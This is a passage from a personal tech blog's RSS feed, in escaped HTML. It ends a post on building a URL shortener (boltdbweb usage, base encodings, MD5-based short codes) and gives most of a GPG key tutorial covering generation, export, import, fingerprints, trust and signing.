&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;go install github.com/evnix/boltdbweb@latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Usage:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;boltdbweb -d urls.db -p &lt;span style="color:#ae81ff"&gt;8081&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--db-name&lt;/code&gt;: The file name of the DB.
&lt;ul&gt;
&lt;li&gt;NOTE: If &lt;code&gt;file.db&lt;/code&gt; does not exist. it will be created as a BoltDB file.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--port&lt;/code&gt;: Port for listening on&amp;hellip; (Default: &lt;code&gt;8080&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The BoltDB Web Interface wil look something like this:&lt;/p&gt;
&lt;img src="https://thanoskoutr.com/posts/url-shortener/url-boltdb.png" alt="BoltDB Web Interface Example Screenshot" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h2 id="url-shortening-techniques"&gt;
URL Shortening Techniques
&lt;a href="#url-shortening-techniques" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In this section, we analyze some basic URL shortening techniques and what we have chosed to implement.&lt;/p&gt;
&lt;h3 id="bases"&gt;
Bases
&lt;a href="#bases" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;base58&lt;/code&gt;: &lt;code&gt;[1-9]][a-k][m-z][A-H][J-N][P-Z]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base62&lt;/code&gt;: &lt;code&gt;[0–9][a-z][A-Z]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base64&lt;/code&gt;: &lt;code&gt;[0–9][a-z][A-Z][+/]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base64&lt;/code&gt;: &lt;code&gt;[0–9][a-z][A-Z][-_]&lt;/code&gt; &lt;em&gt;(URL and Filename safe)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;123456789ABCDEFGH JKLMN PQRSTUVWXYZabcdefghijk mnopqrstuvwxyz
= 58 characters = base58
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
= 62 characters = base62
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/
= 64 characters = base64
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_
= 64 characters = base64 (URL and Filename safe)
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="base62"&gt;
base62
&lt;a href="#base62" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;Number of possible short URLs using &lt;code&gt;base62&lt;/code&gt; and No of characters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;6 characters short URL: &lt;code&gt;62^6 = ~56.8&lt;/code&gt; billion possible URLs&lt;/li&gt;
&lt;li&gt;7 characters short URL: &lt;code&gt;62^7 = ~3.52&lt;/code&gt; trillion possible URLs&lt;/li&gt;
&lt;li&gt;8 characters short URL: &lt;code&gt;62^8 = ~218&lt;/code&gt; trillion possible URLs&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="base64"&gt;
base64
&lt;a href="#base64" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h5&gt;
&lt;p&gt;Number of possible short URLs using &lt;code&gt;base64&lt;/code&gt; and No of characters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;6 characters short URL: &lt;code&gt;64^6 = ~68.7&lt;/code&gt; billion possible URLs&lt;/li&gt;
&lt;li&gt;7 characters short URL: &lt;code&gt;64^7 = ~4.4&lt;/code&gt; trillion possible URLs&lt;/li&gt;
&lt;li&gt;8 characters short URL: &lt;code&gt;64^8 = ~281&lt;/code&gt; trillion possible URLs&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="techniques"&gt;
Techniques
&lt;a href="#techniques" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Short URL from random numbers&lt;/li&gt;
&lt;li&gt;Short URL from hashing (MD5, SHA1, SHA256)&lt;/li&gt;
&lt;li&gt;Short URLs from base conversion (from &lt;code&gt;base10&lt;/code&gt; to &lt;code&gt;base62&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Key Generation Service (KGS)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="implementated-technique"&gt;
Implementated Technique
&lt;a href="#implementated-technique" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Source Code in &lt;code&gt;shortener/shortener.go&lt;/code&gt;, function &lt;code&gt;Encode&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add scheme to URL if not provided (&lt;code&gt;http://&lt;/code&gt;, &lt;code&gt;https://&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Get the MD5 Hash of the URL&lt;/li&gt;
&lt;li&gt;Encode the Hash to Base 64 &lt;em&gt;(URL and Filename safe)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Keep the first 7 characters of the encoded string&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>GPG Keys - Create &amp; Use</title><link>https://thanoskoutr.com/posts/gpg-keys-configure/</link><pubDate>Fri, 23 Jul 2021 14:42:19 +0300</pubDate><guid>https://thanoskoutr.com/posts/gpg-keys-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/gpg.svg"/&gt;
&lt;h2 id="introduction"&gt;
Introduction
&lt;a href="#introduction" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If you are into Linux or the Security field you most likely have heard the terms: PGP, GPG, GnuPG, OpenPGP. They sometimes are being used interchangeably to describe e.g. how to encrypt mails or how to verify signatures of installed programs and packages. It might be difficult for new users to understand the differences, and how the PGP encryption works, but it is simple if explained.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PGP&lt;/strong&gt;: &lt;a href="https://en.wikipedia.org/wiki/Pretty_Good_Privacy"&gt;Pretty Good Privacy (PGP)&lt;/a&gt; is is an encryption program that provides cryptographic privacy and authentication for data communication. It was first developed by Phil Zimmermann in 1991.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenPGP&lt;/strong&gt;: Is the non-proprietary encryption standard of PGP encryption software (&lt;a href="https://datatracker.ietf.org/doc/html/rfc4880"&gt;RFC 4880&lt;/a&gt;) for encrypting and decrypting data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GnuPG&lt;/strong&gt;: &lt;a href="https://www.gnupg.org/"&gt;The Gnu Privacy Guard (GnuPG)&lt;/a&gt; is a complete and free implementation of the OpenPGP standard.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPG&lt;/strong&gt;: Is usually referring to the GnuPG program or the keys created by it as GPG keys instead of PGP keys.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gpg&lt;/code&gt;&lt;/strong&gt;: Is the GnuPG command line tool that can be found or installed on Linux systems, to encrypt/decrypt, sign and manage the keys.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;GPG is used to prove your online identity, as it is linked to your real name and email address, and also to encrypt and decrypt mails or files for yourself or for other people. This is invaluable if you want to have private communications or save sensitive files and documents in a safe way.&lt;/p&gt;
&lt;p&gt;GPG is being used for over 20 years to provide End-To-End encryption and it is still uncrackable even for modern supercomputers. But, There are a lot of arguments against its usage, primarily for easier means of secure communication, because it requires some technical skills to use it and for a novice user it could be easy to ruin its security (e.g. by sending his/her Private Key instead of the Public Key). We won&amp;rsquo;t discuss these arguments further, as this is a guide on how to use GPG, but you can &lt;a href="https://secushare.org/PGP"&gt;find here more reasons to not use it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In this post we will see, how we can generate a GPG key pair with the &lt;code&gt;gpg&lt;/code&gt; utility, how to use it to encrypt and decrypt messages to communicate securely with other people, how to import other people&amp;rsquo;s Public Keys, how to verify signatures, how to renew or revoke a key and how to back up the keys.&lt;/p&gt;
&lt;h2 id="install-gnupg"&gt;
Install GnuPG
&lt;a href="#install-gnupg" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;First we need to install the GnuPG utility. Fore Debian/Ubuntu systems run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ sudo apt install gnupg
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="generating-gpg-keys"&gt;
Generating GPG Keys
&lt;a href="#generating-gpg-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To generate a new GPG key pair, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --full-gen-key
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1. Kind of key:&lt;/strong&gt; &lt;em&gt;&lt;code&gt;RSA&lt;/code&gt; (default)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2. RSA Size:&lt;/strong&gt; &lt;em&gt;&lt;code&gt;3072&lt;/code&gt; (default) or &lt;code&gt;4096&lt;/code&gt; (for better security)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3. Key is valid for:&lt;/strong&gt; &lt;em&gt;0 - until infinity (default)&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;A period of one year is good enough for the average user. This way even if access is lost to the keyring, it will allow others to know that it is no longer valid. At a later stage, if necessary, the expiration date can be extended without having to re-issue a new key.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4. Real Name:&lt;/strong&gt; &lt;em&gt;Your real name&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5. Email address:&lt;/strong&gt; &lt;em&gt;Your email address&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;6. Comment:&lt;/strong&gt; &lt;em&gt;Optional Value - Add nothing&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;7. Verify Info:&lt;/strong&gt; &lt;em&gt;(O) - Okay&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;8. Enter Passphrase:&lt;/strong&gt; &lt;em&gt;Enter a secure passphrase for the GPG key&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;This passphrase is critical, because if your computer gets compromised it is the only security measure that protects your Private Key.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="share-gpg-public-key"&gt;
Share GPG Public Key
&lt;a href="#share-gpg-public-key" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="create-ascii-armored-version-of-gpg-public-key"&gt;
Create ASCII Armored version of GPG Public Key
&lt;a href="#create-ascii-armored-version-of-gpg-public-key" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to upload the Public Key to your website, or any other place you want to share your key, you need to create an ASCII armored version of your Public Key (instead of the default binary version) to be easily viewed and shared.&lt;/p&gt;
&lt;p&gt;To create an ASCII armored version of your Public Key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --output publickey.asc --export --armor XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Where &lt;code&gt;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;/code&gt; is your &lt;code&gt;key-ID&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can also, specify the Public Key you want to export using the email:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --output publickey.asc --export --armor your.email@example.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Where &lt;code&gt;your.email@example.com&lt;/code&gt; is the email that is associated with the Public Key.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The &lt;code&gt;publickey.asc&lt;/code&gt; file should be created after this operation.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="upload-gpg-public-key--fingerprint"&gt;
Upload GPG Public Key &amp;amp; Fingerprint
&lt;a href="#upload-gpg-public-key--fingerprint" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Now you just need to upload the &lt;code&gt;publickey.asc&lt;/code&gt; file to your website for others to use your Public Key to talk securely to you.&lt;/p&gt;
&lt;p&gt;Another important detail, is to also upload the &lt;strong&gt;fingerprint&lt;/strong&gt; of your Public Key, in order for anyone who downloads the key, to be able to verify that the fingerprint of the downloaded key matches the one you have supplied.&lt;/p&gt;
&lt;h3 id="upload-gpg-public-key-to-keyserver"&gt;
Upload GPG Public Key to Keyserver
&lt;a href="#upload-gpg-public-key-to-keyserver" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;You can upload your Public Key to a Keyserver, like &lt;a href="https://pgp.mit.edu"&gt;pgp.mit.edu&lt;/a&gt; and then it will likely be distributed to other Keyservers around the world.&lt;/p&gt;
&lt;p&gt;Note, that you can not delete a key from the Keyservers. You can only upload a revocation certificate that it will tell people who download it that the key has been revoked.&lt;/p&gt;
&lt;p&gt;Upload to a Keyserver:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --send-keys --keyserver pgp.mit.edu key-ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-ascii-armored-gpg-public-key-fingerprint"&gt;
Check ASCII Armored GPG Public Key Fingerprint
&lt;a href="#check-ascii-armored-gpg-public-key-fingerprint" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To check the fingerprint of a Public Key, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --with-fingerprint publickey.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also use the &lt;code&gt;--show-keys&lt;/code&gt; option to check the fingerprint of a Public Key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --show-keys publickey.asc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In some versions of &lt;code&gt;gpg&lt;/code&gt; some command won&amp;rsquo;t work. In order to view the fingerprint we will have to first import the key and then show it. We can use the &lt;code&gt;--dry-run&lt;/code&gt; option in order to avoid importing every key we want to verify:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --dry-run --import --import-options import-show publickey.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid Your Name &amp;lt;your.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: Total number processed: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Where &lt;code&gt;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;/code&gt; is the &lt;code&gt;key-ID&lt;/code&gt;.
(The fingerprint is the same but with spaces after 4 characters, like: &lt;code&gt;XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX&lt;/code&gt;)&lt;/p&gt;
&lt;h2 id="import-gpg-public-keys"&gt;
Import GPG Public Keys
&lt;a href="#import-gpg-public-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="import-gpg-public-key-from-file"&gt;
Import GPG Public Key from file
&lt;a href="#import-gpg-public-key-from-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Import someones Public Key directly from a file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --import &lt;span style="color:#e6db74"&gt;&amp;#34;name_of_pub_key_file&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="import-gpg-public-key-from-link"&gt;
Import GPG Public Key from link
&lt;a href="#import-gpg-public-key-from-link" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Import someones Public Key directly from a link:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl https://example.com/name_of_pub_key_file.asc | gpg --import
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="import-gpg-public-key-from-keyserver"&gt;
Import GPG Public Key from Keyserver
&lt;a href="#import-gpg-public-key-from-keyserver" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Import someones Public Key from a Keyserver, like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pgp.mit.edu/"&gt;https://pgp.mit.edu/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://keyserver.ubuntu.com/"&gt;https://keyserver.ubuntu.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://keyserver.pgp.com"&gt;https://keyserver.pgp.com&lt;/a&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --keyserver pgp.mit.edu --recv-keys DAD95197
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="search-on-keyserver"&gt;
Search on Keyserver
&lt;a href="#search-on-keyserver" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Search a Public Key on a Keyserver, using parameters:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --keyserver pgp.mit.edu --search-keys &lt;span style="color:#e6db74"&gt;&amp;#34;search_parameters&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="verify--trust--sign-gpg-keys"&gt;
Verify &amp;amp; Trust &amp;amp; Sign GPG Keys
&lt;a href="#verify--trust--sign-gpg-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="verify-gpg-keys"&gt;
Verify GPG Keys
&lt;a href="#verify-gpg-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;You can verify the Public Key of a person by checking the fingerprint of the given Public Key with the fingerprint they advertise (on their Website / GitHub / Keyserver etc).&lt;/p&gt;
&lt;p&gt;Get the fingerprint of an imported Public Key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --fingerprint your_email@address.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid Your Name &amp;lt;your.email@example.com&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and check that fingerprint with the one the other person provides.&lt;/p&gt;
&lt;h3 id="trust-gpg-keys"&gt;
Trust GPG Keys
&lt;a href="#trust-gpg-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;You can verify the Public Key of a person by checking the fingerprint, and even sign the key to verify you know the owner of the key. But if you want to have a personal information about the level of trust you have to a Public Key you can edit the &lt;strong&gt;key&amp;rsquo;s trust&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This information is private and it is not packaged with the key when it is exported. It is even stored separately from your keyrings in a separate database.&lt;/p&gt;
&lt;p&gt;To set the trust of a key, you have to edit it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg --edit-key key-id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now on the new prompt, type the &lt;code&gt;trust&lt;/code&gt; command (usually &lt;strong&gt;4 = Full trust&lt;/strong&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Please decide how far you trust this user to correctly verify other users&amp;#39; keys
(by looking at passports, checking fingerprints from different sources, etc.)
1 = I don&amp;#39;t know or won&amp;#39;t say
2 = I do NOT trust
3 = I trust marginally
4 = I trust fully
5 = I trust ultimately
m = back to the main menu
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Choose the correct level of trust for the selected key and verify your choice:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Your decision? 4
Do you really want to set this key to ultimate trust? (y/N) y
gpg&amp;gt; quit
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="sign-gpg-keys"&gt;
Sign GPG Keys
&lt;a href="#sign-gpg-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you trust a persons Public Key, you can sign it, meaning that you trust this key and that you verify it belongs to the person that it is associated with.&lt;/p&gt;
&lt;p&gt;To sign an imported key, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --sign-key key-ID
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Where &lt;code&gt;key-ID&lt;/code&gt; is the key you want to sign (you can also enter the email address associated with the key).&lt;/p&gt;
&lt;p&gt;Check the sign, with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --list-sig key-ID
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pub rsa3072 2021-07-09 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX XXXX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid &lt;span style="color:#f92672"&gt;[&lt;/span&gt;ultimate&lt;span style="color:#f92672"&gt;]&lt;/span&gt; Your Name &amp;lt;your.email@example.com&amp;gt;
